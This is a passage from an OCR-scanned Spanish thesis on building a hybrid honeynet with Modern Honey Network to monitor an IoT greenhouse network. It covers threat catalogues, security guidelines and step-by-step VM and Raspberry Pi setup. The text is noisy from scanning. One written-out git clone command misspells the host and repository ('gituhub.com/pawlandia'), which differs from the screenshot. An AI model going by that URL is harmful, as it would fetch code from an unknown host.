En este tipo de arquitecturas todo el software de los diferentes honeypots corren sobre
un mismo servidor. El honeywall y los honeypots se encuentran dentro del servidor. La ventaja
de esta solucion es el apartado econdémico ya que se necesita un unico ordenador que

contenga el sistema operativo anfitrion y el software de virtualizacion. (Verdejo, 2003)

Figura 16

Honeynet autocontenida

Honeywall
-+

Honeypots

Maguina virtual 1: $.0. As

Maguina virtual 1: S.0. A2

Magquina virtual 1: S.0. As

Nota. La figura muestra una honeynet virtual autocontenida. Tomado de Seguridad en Redes

IP, por Verdejo, 2003.
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Honeynet Hibrida

Este disefio como solucion de seguridad implica que el Honeywall y los honeypots
implementados se encuentren separados. Esta arquitectura supone una ventaja ya que se
disminuye el peligro de que el adversario tenga acceso al resto de Honeynets. Es ideal para
implementar diferentes modelos de Honeynets con ayuda de otros ordenadores y disefiar una
solucion mas real que permita una interaccion alta con los distintos atacantes. La Honeynet
hibrida permite almacenar los registros fuera de la Honeynet virtual. Ademas, permite el

escalamiento de la Honeynet de acuerdo a los recursos y necesidades del proyecto.

Figura 17

Honeynet Hibrida

Maquina virtual 1: S.0.

Honeywall (comiin) S0.
Magquina virtual 1: S.0. Az

real

Magquina virtual 1: S.O. As

- "a.
k‘-ﬁﬁ—Hnnsynels Virtuales

Nota. La figura muestra una honeynet hibrida. Tomado de Seguridad en Redes IP, por Verdejo,

2003.

Directrices de Seguridad y Privacidad para el Internet de las Cosas
ITU X. 1361

La Union Internacional de Telecomunicaciones propone un Marco de seguridad para el
Internet de las cosas en el cual se estudian las amenazas y los principales problemas de

seguridad informatica presente en estos ecosistemas. Mediante este marco se abordan las
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capacidades con las que se puede reducir las amenazas IoT y resolver las falencias de estos

sistemas. (UIT-T, 2018)

El marco de seguridad estudia las principales amenazas de seguridad a la que estan

sujetas los sensores/dispositivos 10T. Se distinguen cuatro grupos de amenazas presentes en

loT.

e Amenazas de seguridad propias del sensor/dispositivo

O

Captura de dispositivo: Se origina cuando un sensor es afectado fisicamente o
cuando se desaparecen sus claves.

Ataque de sumidero: En este caso el dispositivo objetivo atrae todo el trafico de
comunicacion. En este ataque el adversario utiliza los dispositivos para lanzar otros
ataques.

Ataque Sybil: Busca disminuir la efectividad de los mecanismos tolerantes a fallos
mediante un dispositivo malicioso que toma la forma de multiples identidades.
Ataque por inundacién: Es una variante de un atague de denegacion de servicios, el
ciberdelincuente envia una secuencia de paquetes a un dispositivo para consumir
recursos y no pueda responder a ataques legitimos.

Ataque de retransmisién selectiva: El nodo atacado retransmite paquetes recibidos
al nodo subsecuente.

Suplantacién de sensor/dispositivo: Un adversario se hace pasar por un dispositivo

genuino.

e Amenazas propias de pasarela

O

Acceso no autorizado: Este ataque puede desembocar en la exfiltracion,

modificacion o eliminacion de datos de los sistemas.
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Pasarela maligna: Los adversarios tienen la capacidad de implementar su propia
pasarela maligna esto provoca que los dispositivos 10T puedan conectarse y poner
en riesgo la informacién y la operacién del sistema.

Ataque de denegacion de servicio: Provoca una disminucion abrupta en el servicio o

la anulacién completa del mismo.

Amenazas propias de red

O

Acceso no autorizado: El acceso no autorizado a una red inaldmbrica provoca un
riesgo en la disponibilidad de los servicios y robo de informacién confidencial.
Rastreo de paquetes: Cuando la red de sensores |0oT no posee la capacidad de
encriptar la comunicacion se vuelve facil para los adversarios escuchar y capturar el
tréfico de toda la red.

Bluejacking: Ataque dirigido a dispositivos Bluetooth.

Bluesnarfing: Mediante una conexion Bluetooth los atacantes pueden obtener de

manera no autorizada informacién del objetivo.

Amenazas propias de plataformas/servicios

O

Elaboracion de perfiles utilizando informacion de plataformas y servicios del Internet
de las Cosas.

Negacion de servicio.

Ejecucion de cédigo remoto: El atacante ejecuta cédigos maliciosos para afectar al
sistema objetivo y provocar el fallo de sus recursos o también con el fin de utilizar al
dispositivo como pivote de ataque.

Elevacion de privilegios.

Inyeccién de lenguaje estructurado de consulta SQL para aprovechar
vulnerabilidades en la configuracion de la aplicacion y extraer informacion
confidencial de bases de datos.

Sniffing: Ataque que consiste en escuchar sigilosamente el trafico de la red.



72

o Acceso no autorizado.

o Ataques de fuerza bruta: El atacante prueba todas las claves posibles hasta llegar a
la exacta.

o Ataque de diccionario: El atacante prueba todas las claves seteadas en un
diccionario especialmente disefiado para el sistema obijetivo.

o Uso de credenciales por defecto.

o Contrasefias débiles.

El marco de seguridad de la UIT especifica los requisitos generales de seguridad con el
gue debe contar un ecosistema IoT. Entre estas capacidades generales la arquitectura 10T

debe contar con las siguientes:

e Brindar una comunicacién segura.

e Gestion de claves segura.

¢ Capacidad de gestién de datos de forma segura.

e Autenticacion.

e Autorizacion.

e Gestibn y monitorizacién de los accesos a los recursos del ecosistema.

e Prestacion de servicios con seguridad.

e Capacidad de integracién segura con diferentes politicas y herramientas de
ciberseguridad.

e Gestidn de Identidades y accesos.

e Analisis de vulnerabilidades.

e Enrutamiento multitrayecto.

e Capacidad de configuracion segura.

e Cualidad de resistencia ante ataques de canal paralelo.



73

La capacidad de proteger los ecosistemas I0T abarca varias aristas. Se hablé de las
medidas generales que se deben considerar para proteger la arquitectura de estas redes. A
continuacion, se exponen las necesidades que deberian incorporar los sensores y dispositivos

del Internet de las Cosas:

e Negociacion de algoritmo criptografico.

e Encriptacion de datos, al igual que en los casos donde exista datos de plano de
sefalizacion.

e Asegurar la integridad de los datos transmitidos a través de redes inalambricas.

e Proporcionar autenticacion de la procedencia de los datos y de las identidades de cada
sensor |oT y administradores de la red respectivamente.

e Gestion de parches y actualizaciones seguras.

e Incorporacion de protocolos seguros.

¢ Administracion y control de accesos.

e Prevencion y/o localizacion de posibles alteraciones.

e Cualidad de protegerse contra irrupciones de canal paralelo.

¢ Capacidad de Firewall, deteccién y/o proteccién de intrusos.

e Control del trafico de la red.

e Contar con un esquema que permita realizar configuraciones seguras sobre los

dispositivos.

La seguridad de pasarelas también es primordial, es asi que las medidas y capacidades
con las que se debe contar incluye muchos de los puntos ya indicados para las otras aristas
vistas. Se agrega a todas estas directrices la capacidad de tener la capacidad de disponibilidad
sobre la red. Gestionando, conteniendo y mitigando posibles ataques de denegacién de
setrvicio, realizacion de pruebas de vulnerabilidad o pruebas de andlisis de cddigo seguro.

Adicionalmente se debe contar con un plan de responsabilizacion de dispositivos I0T.



74

Finalmente, pero no menos importante, se presenta las cualidades necesarias con las

gue los ecosistemas deben contar para proteger las plataformas y/o servicios I0T:

e Modificacion de credenciales de usuario administrador por defecto.
e Aplicacién de politicas de contrasefias y control de accesos.

¢ Modificacién de puertos no necesarios, habilitacién o inhabilitacién.
e Configuracion segura.

e Proteccion ante infecciones de cddigo maligno.

¢ Politica de implementacién de parches.

e Gestion de vulnerabilidades.

e Gestion de claves para la transferencia de mensajes de manera segura.
e Capacidad de disponibilidad ante posibles intrusiones.

e Monitorizacién de la red.

e Seguridad a nivel de aplicacion.

e Apoyo para mitigar atagues de interferencia.

Como se observo la Union Internacional de Telecomunicaciones describe varias
capacidades con las que debe contar los ecosistemas I0T para protegerse en la actualidad. Las
directrices de seguridad que debe tener la red no se incluyen y quedan fuera del alcance de la

presente recomendacion.

ISO/IEC 27002

Es una norma que agrupa las directrices relacionadas a la Seguridad de la Informacion.
La referencia nace como pauta para que las organizaciones puedan seleccionar controles de
seguridad para la implementacién de un Sistema de Gestion de Seguridad de la Informacion

(SGSI). Al mismo tiempo, esta norma puede utilizarse en el desarrollo de directrices de gestién
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de seguridad de la informacion propias dentro de organizaciones e industrias tomando en

cuenta sus entornos de riesgo. (ISO/IEC, 2013)

De esta normativa se seleccionan las directrices concernientes a las capacidades de

proteccion de la red que recomendaciones como la de seguridad y privacidad de 10T de la UIT

no incluyen. En tal sentido se exponen Unicamente las siguientes medidas de seguridad:

e Seguridad fisica y del entorno

O

O

O

Perimetro de seguridad fisica.

Controles fisicos de entrada.

Seguridad en instalaciones.

Proteccion contra las amenazas ambientales y externas.
Ubicacion y proteccién de equipos.

Proteccion contra fallo en instalaciones de suministro.
Seguridad del cableado.

Mantenimiento de equipos.

Proteccion contra eliminacion de activos.

Reutilizacion o eliminacion segura de equipos.

e Seguridad de las comunicaciones

o}

O

o}

Controles de red.
Seguridad en los servicios de red.

Segmentacion en las redes.



76

Capitulo Ill: Disefio

Este capitulo contiene el disefio completo de la Honeynet la cual es una solucién de
seguridad informatica. La finalidad de esta solucion es salvaguardar la integridad de red y servir
como una herramienta versatil de deteccion y estudio de las principales técnicas empleadas por
amenazas informaticas. Se requiere implementar esta solucién para distraer a posibles
adversarios externos o internos que intenten corromper la operatividad normal de los sistemas
de informacion. El disefio cubre las principales caracteristicas que todo entorno informético
debe tener de acuerdo a los lineamientos de seguridad y privacidad de datos indicados por los

organismos reguladores mas relevantes a nivel mundial.

Planteamiento del escenario

Un arquitecto de red requiere adaptar una solucioén de seguridad informética que le
permita detectar y monitorear amenazas dentro de la red de produccion de su organizacion.
Para validar la eficacia de su disefio el arquitecto de red implement6 una solucion de un
invernadero inteligente basado en tecnologia del Internet de las Cosas. Consecuentemente,
este ecosistema estd compuesto por diferentes sensores y actuadores para el control del riego
automatizado y los sistemas de climatizacion. El invernadero inteligente consta de sensores
para monitorear la temperatura en tiempo real y sensores para evaluar la humedad del suelo de
manera periédica. Adicionalmente, existen sistemas de electrovalvulas y ventiladores
accionados de manera automatica en respuesta a los datos recopilados por los sensores. Por
ultimo, todos estos sistemas se comunican por protocolo MQTT por lo que se cuenta con un
servidor fisico que aloja el bréker MQTT de la red I0T. Ante el incremento de ataques
cibernéticos que han sufrido las empresas por la incorporacion de nuevas tecnologias como loT
el arquitecto de red decidié disefiar e incorporar a su red una Honeynet hibrida. La
implementacién de esta solucién permitira al arquitecto de red monitorear, evaluar y capturar

posibles amenazas dentro de su red. Se disefio la Honeynet para que pueda ser empleada en
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diferentes tipos de sistemas informéticos que se basen en tecnologias emergentes o
arquitecturas tipicas sensibles a ataques. Para implementar esta herramienta de monitoreo
emplea el uso de dos servidores fisicos. El primero se trata del servidor de registro que se
encarga de capturar, recopilar y almacenar los eventos registrados por los honeypots. Ademas,
se configura una Honeynet virtual autocontenida dentro de este para incorporar a la
arquitectura mas sefiuelos que emulan diferentes servicios. El segundo servidor contendra un
honeypot fisico, este dispositivo puede adaptarse a las necesidades especificas de hardware
para garantizar el correcto funcionamiento del honeypot. Por consiguiente, en el disefio se
consideran los honeypots que van a utilizarse y las especificaciones de hardware necesarias
para la operabilidad y almacenamiento de la informacion capturada. La herramienta de
seguridad se basa en software libre para reducir costes adicionales por uso de licencias.
Asimismo, el arquitecto decide segmentar la red para aislar completamente los sistemas
trampa. En consecuencia, evita exponer innecesariamente los equipos de produccion. Una vez
adecuada la solucién de seguridad y la red 10T de produccién se procedera a realizar una
auditoria informatica. De esta manera, el arquitecto de red puede evaluar la eficacia de la

solucion ante el monitoreo de amenazas cibernéticas.

Directrices de seguridad implementadas

En base a las recomendaciones y hormativa vista sobre la seguridad y privacidad del
Internet de las Cosas, se definen las directrices que se pretenden cubrir con esta solucién de
seguridad informatica. Seguidamente se expone cada directriz con una breve explicacién que

justifique la necesidad de proteger cada arista de un ecosistema del Internet de las Cosas.

¢ Orientaciones generales
o Comunicacion segura: Dentro de la arquitectura propuesta, los honeypots cifran

todos los datos y se envian a la Honeynet. Adicionalmente la ventaja de
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implementar un broker MQTT recae cuando se utiliza el puerto 8883 para cifrar la
comunicacion mediante SSL/TLS.

Autenticacion de dispositivos: La honeynet maneja una clave Unica para identificar
los sensores desplegados y conectados dentro de la solucion.

Capacidad de auditoria: El servidor de registros MHN recolecta toda la informacion
captada por los sensores. Esta informacion es almacenada y mediante la misma se
puede verificar el acceso o los intentos de acceso a los sistemas donde se
encuentra implementada la herramienta.

Integracion segura: El servidor MHN permite integrarse con otras herramientas de
seguridad para monitorear los eventos en la red como un SIEM.

Gestion de identidades: Dentro del servidor de registros se puede configurar y
agregar nuevos usuarios para administrar el mismo. Adicionalmente los routers
utilizados dentro de la arquitectura permiten la creacion de cuentas de usuarios con
diferentes perfiles para la administracion y configuracién de los diferentes
parametros del dispositivo.

Andlisis de vulnerabilidades: EI MHN analiza y cataloga las vulnerabilidades

conocidas registradas por cada sistema trampa.

e Orientaciones de seguridad de pasarelas

O

Deteccion de intrusos: EI MHN cumple las funciones de una herramienta de
deteccioén de intrusos (IDS).

Control de Acceso: Solo los usuarios con las credenciales de administrador pueden
acceder a los diferentes elementos de red y a la informacién almacenada en los

registros de eventos.
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e Orientaciones de seguridad en la red

O

Perimetro de seguridad fisica: Los servidores fisicos donde se aloja la solucion se
encuentran custodiados.

Seguridad en instalaciones: Solo el personal autorizado puede acceder a las
instalaciones donde se encuentra desplegada la solucién de seguridad.

Proteccién contra las amenazas ambientales y externas: Los servidores de la
solucion de seguridad no se encuentran desplegados en un ambiente hostil.
Mientras tanto la solucion loT por su naturaleza esta Unicamente expuesta a un
entorno previamente estudiado.

Seguridad del cableado: Todas las conexiones en las diferentes subredes de la
arquitectura se encuentran debidamente protegidas.

Proteccion contra eliminacion de activos: El servidor MHN al igual que cada uno de
los servidores que contienen los honeypots se encuentran debidamente
configurados para impedir el acceso a personal no autorizado.

Controles de red: El ecosistema loT cuenta con controles de monitoreo y registro de
eventos para descubrir posibles acciones que puedan corromper la seguridad de la
informacion.

Segmentacion en las redes: En la arquitectura propuesta se segmenta la red de

produccién IoT y la solucién de seguridad de manera fisica.

Arquitectura

El apartado fundamental de esta solucién de seguridad se centra en la ubicacion y el

tamafio de la Honeynet a utilizar, asi como los servicios y puertos expuestos. El fin es lograr

una arquitectura robusta y que permita registrar toda la actividad anémala de la red. En la

Figura 18 se muestra el esquema de red de la Honeynet y del ecosistema IoT.
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Como se evidencia la red se encuentra claramente segmentada, por un lado, se cuenta
con un segmento donde se encuentra la solucién de seguridad y por otro, un segmento que
compone la red loT. Esta decision se toma con el objetivo de contrarrestar problemas
asociados a ataques de intercepcion como es el Sniffing. Al tener la red segmentada el
administrador puede tener mas control de los activos que pertenecen a cada subred de la
arquitectura de la empresa. Si bien esta solucion esta siendo ejemplificada para una
arquitectura pequefia, el principio de segmentacion es aplicable a redes més grandes y

complejas.

El arquitecto de red puede controlar la cantidad de equipos conectados a cada sub red
de manera precisa. Consecuentemente los problemas asociados a ataques de suplantacion
también se contrarrestan. Para contar con una buena administracion de activos, se debe

identificar las direcciones MAC y las IP asociadas a cada elemento de red.

La arquitectura propuesta cumple con el principio de escalabilidad que los sistemas y
redes hoy en dia requieren. Permitiendo ampliar el tamafio de la Honeynet o incorporando a la
red organizacional nuevas subredes de produccion. También se puede crear nuevas subredes
cada una con una solucién diferente de Honeynet de acuerdo a la informacién que contengan
los servidores. Inclusive esta arquitectura es totalmente migrable a ecosistemas basados en la

Nube.

El firewall representado en la arquitectura propuesta por lo general esta integrado
dentro de la terminal de red Optica (ONT, por sus siglas en inglés) que entrega el proveedor de
servicios de Internet (ISP, por sus siglas en inglés). Dentro del firewall es recomendable
configurar listas de control de acceso, donde se definan reglas y se creen listas negras. El
objetivo de crear listas negras es controlar y contener posibles ataques de ciertos dominios o
IPs maliciosas ya conocidas. La configuraciéon del Firewall debe impedir los principales intentos

de conexién a causa de bots que escanean todas las redes con conexion a Internet.
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Figura 18

Arquitectura de la solucién de seguridad informatica
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El disefio de la solucion de seguridad se basa en una Honeynet de tercera generacion
debido a la ventaja que supone el apartado de administracién de datos. Los registros son
almacenados y catalogados de una mejor manera. El sistema se compone por una Honeynet
virtual autocontenida que a su vez esta compuesta por dos honeypots instalados en servidores
virtuales. Adicionalmente se incorpora a la Honeynet un honeypot fisico instalado sobre un

ordenador Raspberry Pi 4 del cual se hablara mas adelante.
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La Honeynet se encuentra ubicada detras del firewall dentro de la red LAN de la
organizacion con el fin de detectar ataques internos principalmente. Al ser una red de
produccion el objetivo es evitar que atacantes externos puedan ingresar. En caso de que los
atacantes logren traspasar el Firewall la Honeynet implementada los distraeré hasta el

momento en que el administrador pueda tomar medidas correctivas.

Es importante recalcar que la Honeynet no esta disefiada para tener salida a Internet ya
gue el objetivo primordial es brindar una herramienta de proteccién y no una solucion
Unicamente para investigacién que es donde mas sentido haria esta conexion. La Honeynet
debe recabar informacion y técnicas de agentes nocivos que atenten contra la red de
produccion con el fin de mejorar continuamente su esquema de seguridad. En ningln momento
se busca poner intencionalmente la red de produccion en peligro exponiendo la Honeynet. Un
posible fallo de configuracién puede provocar movimientos laterales por parte de la amenaza y

logrando que esta pueda llegar a afectar la red de produccion.

Honeypots

Los sefiuelos utilizados deben primordialmente detectar ataques automatizados
generalmente producidos por redes de bots que escanean activamente todos los sistemas
conectados a internet para detectar posibles vulnerabilidades y aprovecharse de estas. Por tal
motivo la eleccion méas apropiada para cumplir con esta tarea sin acudir a una gran inversion de

hardware es utilizar honeypots de baja interaccion.

Al utilizar un ordenador de placa reducida como la Raspberry Pi se limitan las
capacidades de cémputo de los sistemas, el honeypot de baja interaccion es ideal para este
tipo de equipos. La ventaja es que no se necesita un nivel de interaccion alto con la amenaza el
objetivo primordial va a ser captar las anomalias de la red. Para los servidores virtuales se
puede implementar un honeypot que simule una base de datos y otro sefiuelo que simule un

servidor de aplicaciéon. Estos entornos son cotidianos en la mayoria de empresas alrededor del
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mundo ya que por lo general tienen aplicativos que controlan ciertos procesos productivos. Se
optara por un sefiuelo de interaccidon media en el servidor que simula la aplicacion disefiada

con el fin de crear un poco més de interaccion con el posible atacante.

Red Interna

De manera general se ejemplifica la composicién de la red interna de las
organizaciones, estas a su vez contienen diferentes subredes. Por tal razén la solucién de
seguridad informatica esta disefiada para proteger cualquier tipo de estos entornos ya que la
misma se encuentra ubicada fuera de esta. La red interna puede estar compuesta por subredes
de camaras IP, granjas de servidores, conjunto de teléfonos VolP, subredes mixtas que
alberguen dispositivos de usuario final como computadores, terminales de usuario y periféricos.
También pueden estar compuesta por dispositivos como sensores y actuadores como es el
caso de ecosistemas del Internet de las Cosas. En cualquiera de estos escenarios la solucién
garantiza su correcto funcionamiento siempre y cuando se realicen las configuraciones

adecuadas para cada caso.
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Capitulo IV: Implementacion

Para la implementacién de esta solucién de seguridad informatica se ha utilizado

diferentes elementos de red, cada uno de ellos se explica a continuacion:

Tabla 6

Elementos de la red implementada

Elemento de
Cantidad Descripcion
red
Es un ordenador de bajo costo el cual alojara un honeypot
fisico.
1 Raspberry Pi  Caracteristicas:
e RAM:2GB
e Procesador: Broadcom BCM2711
Computador con altas capacidades para el alojamiento de
parte de la honeynet asi como el servidor de registro.
Caracteristicas:
Computador
1 ¢ RAM: 16 GB
Asus
¢ Almacenamiento: 512 GB Estado Sélido.
e Sistema Operativo: Windows 10
e Procesador: Intel Core i7
Optical Es el router que generalmente el ISP entrega al momento de la
1 Network instalacion de un servicio de Internet por fibra 6ptica.

Terminal




85

Elemento de
Cantidad Descripcion
red

Se seleccion6 uno de acuerdo a las necesidades de cobertura
Router
1 de lared loT y dependera también de la frecuencia que
Inalambrico
trabajen los elementos de red a los que de servicio.

Configuracion del Raspberry Pi

Dado que el ordenador no cuenta con una memoria de almacenamiento este no tiene
un sistema operativo instalado de fabrica. Por tal motivo con la ayuda de otro ordenador se
debe descargar la imagen de la pagina oficial de Raspberry Pi. Dada la arquitectura propuesta
y de acuerdo a los requerimientos de sistema operativo para ejecutar el honeypot. Se debe
elegir el sistema operativo Raspberry Pi OS (Legacy) disponible en la siguiente direcciéon web

https://lwww.raspberrypi.com/software/operating-systems.

Para poder cargar la imagen en una unidad de almacenamiento se necesita de una
tarjeta SD y se requiere descargar un software adicional que permite realizar este
procedimiento. La herramienta que se emplea se llama Raspberry Pi Imager la cual se
encuentra en el siguiente enlace https://www.raspberrypi.com/software. Una vez instalado el
Imager se debe insertar la tarjeta SD al ordenador, cargar el sistema operativo, seleccionar la
unidad de almacenamiento y escoger la opcion escribir para que comience el procedimiento

como se indica en la Figura 19.

Realizado los pasos anteriores se extrae la tarjeta SD y se inserta en la Raspberry Pi.
Posteriormente se procede a encender el ordenador, se inicia el sistema operativo con una
pantalla de bienvenida. Enseguida se debe configurar el idioma, el pais y la zona horaria.
Continuando con la configuracién se debe crear un usuario dentro del sistema operativo, por lo

gue en este apartado se debe ingresar un usuario y contrasefia. Por ultimo, se debe


https://www.raspberrypi.com/software/operating-systems
https://www.raspberrypi.com/software
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seleccionar una conexion de red WiFi, para el sistema propuesto se va a conectar mediante
puerto LAN la Raspberry Pi por lo que este paso se salta. Una vez que se configura todos estos

parametros se debe reiniciar el ordenador.

Figura 19

Interfaz Raspberry Pi Imager

' Raspberry Pi Imager v1.7.3 - O X

Raspberry Pi

Operating System Storage

2022-04-04-RASPIOS-BUSTER-ARMHF.IMG.XZ SDXC CARD WRITE
3

Software de Virtualizacion

Para la virtualizacién de los honeypots y el servidor de registro se utilizé el hipervisor
VMware Workstation, mediante el cual se pudo crear y administrar tres maquinas virtuales las
cuales conforman parte de la red de honeypots propuesta incluyendo el servidor de
administracion de la Honeynet. Adicionalmente sobre todas las maquinas virtuales creadas se
ejecuta el sistema operativo Ubuntu 18.04 LTS el cual es una distribucién de Linux basada en

Debian GNU/Linux.
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Configuracion de la maquina virtual
Para implementar el servidor centralizado para la gestion y recopilacion de eventos de

los honeypots se crea una maquina virtual en el hipervisor VMware Workstation

Figura 20

VMware Workstation 16

WORKSTATION 16 PRO™

® ) pd

Create a New Open a Virtual Connect to a
Virtual Machine Machine Remote Server

Se selecciona la opcién de Create a New Virtual Machine, por practicidad se selecciona

la configuracién tipica recomendada por el desarrollador.

Figura 21

Creacién de una maquina virtual en VMware

bew Virtual Machine Wizard >

Welcome to the New Virtual
WOR KSTATION  Machine Wizard

PRO™ 1 6
wWhat type of configuration do you want?

(@ Typical (recommended)

Create a Workstation 16.2.x virtual
machine in a few easy steps.

(O custom (advanced)

Create a virtual machine with advanced
options, such as a SCSI controller type,
virtual disk type and compatibility with
older VMware products.

Help < Back Cancel

Nota. Creacion de una nueva maquina virtual en VMware Workstation 16 Pro seleccionando la

configuracion tipica.
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Previamente se debe tener descargado la imagen ISO del sistema operativo que se va
a ejecutar en la maquina virtual, en este caso ese sistema operativo es Ubuntu 18.04 LTS el
mismos que se encuentra en la pagina oficial https://releases.ubuntu.com. Se escoge la
segunda opcidn para utilizar la imagen descargada e instalar el sistema operativo, como se

indica a continuacion:

Figura 22

Instalacion del sistema operativo anfitrion

New Virtual Machine Wizard X
Guest Operating System Installation

A virtual machine is like a physical computer; it needs an operating
system. How will you install the guest operating system?

Install from:
Installer disc:

No drives available

(@ Installer disc image file (is0):

‘ C:\Users\Andres Hernandez\Documents\Universidad) - Browse...

[[{] Ubuntu 64-bit 18.04.6 detected.
This operating system will use Easy Install. (What's this?

O Twill install the operating system later.

The virtual machine will be created with a blank hard disk.

Hep Bk Cance

Nota. Seleccioén de la imagen ISO que contiene el sistema operativo del servidor.

Se personaliza el nombre y se agrega las credenciales del usuario, en el presente
trabajo se opt6 por simplificar las credenciales de este administrador. Pero si este ecosistema
se pretende implementar en un ambiente de produccién empresarial se recomienda
personalizar el usuario y crear una contrasefia compleja que contenga al menos 12 caracteres,
al menos una mayuscula, una mindscula, un nimero y un caracter especial. Esto con el fin de
robustecer la arquitectura propuesta. Posteriormente, se asigha un nombre a la maquina virtual,
aqui se recomienda seguir la politica de identificacion que la empresa cuente para diferenciar
claramente este servidor, en caso de no contar con una politica se debe asignar un nombre

distintivo. Ademas, se debe especificar la capacidad de disco de la maquina virtual creada.


https://releases.ubuntu.com/

Figura 23

Configuracion de la capacidad

New Virtual Machine Wizard

Specify Disk Capacity

How large do you want this disk to be?

The virtual machine's hard disk is stored as one or more files on the host
computer's physical disk. These file(s) start small and become larger as you add
applications, files, and data to your virtual machine.

Maximum disk size (GB): 20.0J&

Recommended size for Ubuntu 64-bit: 20 GB

(O store virtual disk as a single file
(@) split virtual disk into multiple files

Splitting the disk makes it easier to move the virtual machine to another
computer but may reduce performance with very large disks.

Help < Back Cancel
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Por ultimo, se indicard un resumen de las configuraciones que tendra la maquina virtual

creada. Se debe seleccionar la pestafia de modificar hardware para configurar la cantidad de

memoria RAM asignada, el nimero de procesadores y el adaptador de red que va a utilizarse.

Figura 24

Personalizacion de la maquina virtual

New Virtual Machine Wizard X

Ready to Create Virtual Machine

Click Finish to create the virtual machine and start installing Ubuntu
64-bit and then VMware Tools.

The virtual machine will be created with the following settings:

Name: MHN
Location: C:\Users\Andres Hernandez\Documents\Virtual Machine...
Version: Workstation 16.2.x

Operating System: Ubuntu 64-bit

Hard Disk: 20 GB, Split

Memory: 4096 MB

Network Adapter: NAT

Other Devices: 2 CPU cores, CD/DVD, USB Controller, Printer, Sound C...

Power on this virtual machine after creation

o




90

Como se indica en la imagen, se configuré de la siguiente manera:

e Software de virtualizacién: VMware Workstation 16.2.4
e Procesadores: 1 nucleo

e RAM:2GB

¢ ROM: 20 GB

e Adaptador de red: Bridged (Automatic)

El adaptador de red de las maquinas virtuales se configura en modo puente con el fin de
gue los servidores virtualizados formen parte del mismo segmento de red donde se ubica la
Raspberry Pi. Posteriormente modificado estos pardmetros se selecciona la opcion de finalizar

y automaticamente se encendera la maquina virtual después de la creacion.

Figura 25

Especificaciones de la maquina virtual creada

Device Summary
E=Memory 2GB
|: Processors 1
) New CD/DVD (SATA) Using file C:\Users\Andres H...
- O

| Network Adapter Bridged (Automatic)

|A‘ USB Controller Present
c}» Sound Card Auto detect
(— Printer Present
[__Ipisplay Auto detect

Nota. Asignacion de recursos para la maquina virtual creada, configuracion de RAM, adaptador

de red y nUmero de procesadores.

Una vez creada y ejecutada correctamente la maquina virtual, se abre una terminal para
visualizar la direccion IP asignada dentro de la red. Primeramente, se debe instalar el paquete

net-tools para poder utilizar el comando ifconfig y observar la informacion que se necesita.
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Figura 26

Instalacion del paquete net-tools

mhn@ubuntu: ~

File Edit View Search Terminal Help

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

mhn@ubuntu:~$ sudo apt install net-
net-acct net-tools
mhn@ubuntu:~$ sudo apt install net-tools I

Una vez realizado se evidencia a continuacion que la IP asignada al administrador de

eventos es la 192.168.100.97.

Figura 27

Visualizacion de la direccion IPv4

mhn@ubuntu: ~

File Edit View Search Terminal Help

mhn@ubuntu:~$ ifconfig
ens33: flags=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 1500
inet 192.168.100.97 netmask 255.255.255.0 broadcast 192.168.100.255
inet6 fe80::cb42:4ad5:f603:c112 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:b5:9c:c7 txqueuelen 1000 (Ethernet)
RX packets 6997 bytes 9174226 (9.1 MB)
RX errors © dropped @ overruns 0 frame 0
TX packets 2414 bytes 220179 (220.1 KB)
TX errors 0 dropped 0 overruns 0 carrier ® collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 284 bytes 25380 (25.3 KB)
RX errors © dropped © overruns @ frame ©
TX packets 284 bytes 25380 (25.3 KB)
TX errors 0 dropped O overruns © carrier ® collisions ©

Nota. Ejecucion del comando ifconfig dentro de una terminal de Ubuntu para verificar la

direccion IPv4 asignada a la maquina virtual.
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Modern Honey Network
Es el servidor centralizado para la administracién y recoleccion de los datos registrados
por los honeypots implementados. A continuacidn, se detallan algunas de las ventajas que

presenta este servidor:

e Permite la implementacion de diferentes sefiuelos de forma rapida.

e Configura automaticamente la conexion entre servidor de administracion y sistema
trampa.

e Cuenta con diferentes tecnologias de honeypot, incluyendo las mas comunes.

e Posee una interfaz grafica web.

e Existe una comunidad que constantemente esta resolviendo posibles fallos de la
solucién.

e Software de cédigo abierto.

e Existe amplia documentacién sobre la herramienta.

e Permite la integracién con herramientas de seguridad como el SIEM.

e Cuenta con un gran catalogo de reglas de seguridad definidas de manera nativa.

¢ Recopila toda la informacién de los diferentes sensores implementados.

¢ Almacena toda la data de manera sigilosa, centralizada y automaticamente.

Los honeypots no son admitidos como una solucion de defensa en la mayoria del sector
empresarial menos aun para soluciones del Internet de las Cosas. Esto se debe a la
complejidad que conlleva la configuracion e instalacion de los mismos. Con la presente
solucion de seguridad se pretende dotar y ampliar de herramientas de seguridad informatica a
entornos emergentes como la industria 1oT. Esta herramienta simplifica la instalacion y
mantenimiento de los honeypots a la vez que ofrece una interfaz amigable para el monitoreo de

amenazas.
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Para proceder con la instalacion del administrador se debe contar con el paquete Git

para la cual se ejecuta la siguiente instruccion:
sudo apt install git -y
Realizado el paso anterior se cambia de directorio con el comando
cd /opt/
Se clona del repositorio de MHN la herramienta y se ingresa en el directorio descargado
sudo git clone https://gituhub.com/pawlandia/mhn.git
cd mhn/
Figura 28

Clonacion del repositorio del MHN

Processing trlggers for man-db (2.8.3- 2ubuntu0 150

mhn@mhn:~$ cd /opt/

mhn@mhn: /opt$ sudo git clone https://github.com/pwnlandia/mhn.git
Cloning into 'mhn'...

remote: Enumerating objects: 7838, done.

remote: Total 7838 (delta 0), reused 0 (delta 0), pack-reused 7838
Receiving objects: 100% (7838/7838), 4.16 MiB | 7.14 MiB/s, done.
Resolving deltas: 100% (4193/4193), done.

mhn@mhn: /opt$ cd mhn/

mhn@mhn: /opt/mhn$

Nota. En la figura se indica el proceso de clonacion de la herramienta MHN dentro de la

magquina virtual a través de una terminal de usuario.

Una vez realizado este paso se ejecuta la siguiente instruccion para instalar el

administrador de eventos en el servidor.

sudo ./install.sh


https://gituhub.com/pawlandia/mhn.git
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Figura 29

Instalacion del MHN

mhn@mhn: /opt/mhn$ sudo ./install.sh
+++ readlink -f ./install.sh
++ dirname /opt/mhn/install.sh
MHN_HOME=/opt/mhn
WWW_OWNER=www-data
SCRIPTS=/opt/mhn/scripts/
cd /opt/mhn/scripts/
'[' -f /etc/redhat-release ']
